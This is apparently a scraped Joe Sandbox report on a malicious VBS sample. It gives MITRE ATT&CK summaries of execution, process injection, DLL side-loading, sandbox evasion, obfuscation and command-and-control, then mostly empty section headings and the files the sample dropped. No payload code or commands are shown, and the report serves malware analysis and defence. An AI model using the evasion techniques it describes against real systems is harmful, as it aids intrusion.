Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Rendeles nr13252436324563635635464574544545445474.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_22nd0jpy.mll.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_js2ezsot.nci.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_opo4vz0b.hnm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tupitnx4.qq0.ps1

C:\Users\user\AppData\Roaming\Lithochemistry.Uva

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

Windows Analysis Report
Rendeles nr13252436324563635635464574544545445474.vbs